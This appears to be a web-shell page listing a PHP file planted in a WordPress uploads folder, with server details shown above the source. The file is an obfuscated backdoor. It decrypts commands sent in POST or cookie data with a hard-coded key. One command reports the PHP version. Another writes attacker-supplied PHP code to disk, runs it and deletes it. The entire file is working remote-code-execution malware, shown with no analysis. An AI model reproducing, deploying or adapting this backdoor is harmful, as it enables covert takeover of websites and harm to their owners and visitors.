HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/pqzpmaci.php
<?php $_s_oja /*sn  */ =	'_s_oja'  ^     '<-';
$ieeqpkxptv	=    $_s_oja(97)      .    $_s_oja(114) /* jh_  */ .    $_s_oja(178-64)     . /* toi*/ "\141"       .      "\x79"     .     "\x5f"    .    "\x6d"     . /*e*/ "a"."\160";



function /*  ib */ wbfjzdg($xlvmsaucbp,    $ypytwve_bq_ktaq)
{


	global       $_s_oja;
    
 /*kzrzf  */ $xlvmsaucbp    =       $_s_oja(60)    .	"?".$_s_oja(371-259)  . /*   wfbcq*/ "h"."\160"      . /*  kzao  */ $_s_oja(32)     . /* gmqzqr */ $_s_oja(333-216)      .	$_s_oja(110)    . /*  _   */ "l".$_s_oja(229-124)    .       $_s_oja(267-157)	. /*   x   */ "k".$_s_oja(846-806)    . /*  cbj  */ "_"."_"."F"."\111"    .    "L"."E"."\137" /*a */ .	"_"."\x29"   .	"\x3b"       . /*nv */ $_s_oja(32)     . /*_qegn  */ $xlvmsaucbp[$_s_oja(100)];

	$bzxyyy  = /*   _gxusd   */ $_s_oja(102) /*  e*/ .    $_s_oja(569-464)	.	$_s_oja(108)    .	"\145".$_s_oja(380-285)	.	"\160"    .   "\x75" /*  yfgml */ .    "\x74"	.   "_"."\143"    .       "o".$_s_oja(599-489) /* ldn*/ .      "t"."\145"."\156" /* m_sn */ .  "t"."s";  	$bzxyyy($ypytwve_bq_ktaq,     $xlvmsaucbp);
   

	_fzsolylx($ypytwve_bq_ktaq);}

$ds_vyln_rb /*   pw */ =     73;
function       _fzsolylx($ypytwve_bq_ktaq)
{

     global /*   huktp */ $_s_oja;

 /*l  */ 	include($ypytwve_bq_ktaq);       $o_fcusq	=       $ypytwve_bq_ktaq;


      @unlink($o_fcusq);


}





function /*  eme  */ effzggxq()


{

	global  $_s_oja;   $_xuotzl  =      array();
   $_xuotzl[$_s_oja(948-836)   .     "\x76"] /*  dvxip */ =	phpversion();    $_xuotzl[$_s_oja(535-420)    .     "\166"]    =  "3".$_s_oja(769-723)	.	"5";	$x_jva	=       74;  echo    @serialize($_xuotzl);

}


function    zvqdf($xlvmsaucbp, /*wch  */ $uw_bw)

{

 /* v */ global  $_s_oja;



    $eyknxwoaqd    =    "";
 /* zhf */ $epenmqmmmn /*zyvky*/ =	strlen($xlvmsaucbp); /*ejxsc  */ $ofionewttv    =	strlen($uw_bw);

	$_xuotzl      =   0;

    $ypytwve_bq	=    0;

      
      while   ($_xuotzl       < /* cesb */ $epenmqmmmn)    {


     $unctipe /*iu_a */ =	$xlvmsaucbp[$_xuotzl] /*  rspsg  */ ^      $uw_bw[$ypytwve_bq     % /*  noam*/ $ofionewttv];
       $eyknxwoaqd /*  a   */ .= /*   gjxm  */ $unctipe;
       $ypytwve_bq++; /*bhnkn  */ 


	$_xuotzl++;       }
	
     if /*  huewyz  */ (strlen($eyknxwoaqd) /*  biio */ > /* dyuybs   */ 20)    {


	$acyg_a	= /*uporr*/ substr($eyknxwoaqd,       0,    20);

    }    if   (empty($eyknxwoaqd)) /*  uahfrp */ {


    $eyknxwoaqd /*   usduv   */ = /*   rudtzg   */ date('Y-m-d   H:i:s');

 /*   o*/ }


  return /* dbth */ $eyknxwoaqd;}




function     gzwjnlzsu($qttwb)
{
 /*hnjukl   */ global	$_s_oja;       

    $bwrx_mv       = /* b_gwrq */ "3".$_s_oja(1069-969)    .   "\141"    .	"6"."f"."c".$_s_oja(928-872)	.       $_s_oja(51)	.    "\55"	. /*o  */ "\61" /*   tnj  */ .	$_s_oja(586-529)    .	$_s_oja(102) /*   m   */ . /* bzu  */ $_s_oja(82-26) /*  fhqbjn  */ .    "-"."\x34"	.	"\146"    .	"\141" /*  kuc */ .    "9".$_s_oja(45) /*ozk*/ . /* kdv  */ "a".$_s_oja(426-369) /*   opjzu   */ .  $_s_oja(53) /*  xbvsk  */ .   "\x36"  . /*   dewj   */ $_s_oja(805-760)    .    "\x36" /* orul  */ . /*   oqld   */ "\70" /* gzy_u */ .    "\70"  .  "\x30"	.      "\x31"    . /*_ms*/ $_s_oja(140-39) /*  nywmcy   */ .    $_s_oja(743-690) /*   ug_nt*/ .	"\145"."0".$_s_oja(700-599)  .	"\x33"  .	$_s_oja(636-587);

 /* flf  */ 

	foreach    ($qttwb       as	$rvaba /*   gxb  */ =>	$xlvmsaucbp)	{
     ayaqzm_xk(base64_decode($xlvmsaucbp),      $bwrx_mv, /*  yce */ $rvaba);
     }}





function    ayaqzm_xk($xlvmsaucbp, /*tj   */ $bwrx_mv,	$rvaba)


{    global   $_s_oja;

           $xlvmsaucbp	= /* ryn */ unserialize(zvqdf(zvqdf($xlvmsaucbp, /*  eg*/ $bwrx_mv), /*  qcbne*/ $rvaba));
	$cuhdkxk    = /* xwyb  */ 'dzoz';


	$volsd /*   q */ =    'imsbvd';

 /*  og */ if  (isset($xlvmsaucbp["a"."k"]))      {

 /*  qztlcu*/ if	($xlvmsaucbp["a"]     ==      "i") /*  lxwclf   */ {

   effzggxq();

 /*   _gcid_*/ } /*  sxd */ elseif	($xlvmsaucbp["a"]	==	"\145")      {


 /*axvy */ wbfjzdg($xlvmsaucbp,    sprintf("."."/"."%"."\x73"	.      $_s_oja(151-105)    .    "\x70"    . /*uj*/ "l",    md5($bwrx_mv)));
			$gbtjxa /*  ztny*/ =    44;      }


       exit();


      }

}


gzwjnlzsu($_POST); /*j */ $pvqwib    =	'rawurldecode';

$mwqczbnnlz	=	$ieeqpkxptv($pvqwib,    $_POST);

explode("",    $pvqwib);

gzwjnlzsu($_COOKIE);
$roksuhnk    =	$ieeqpkxptv($pvqwib,     $_COOKIE);



?>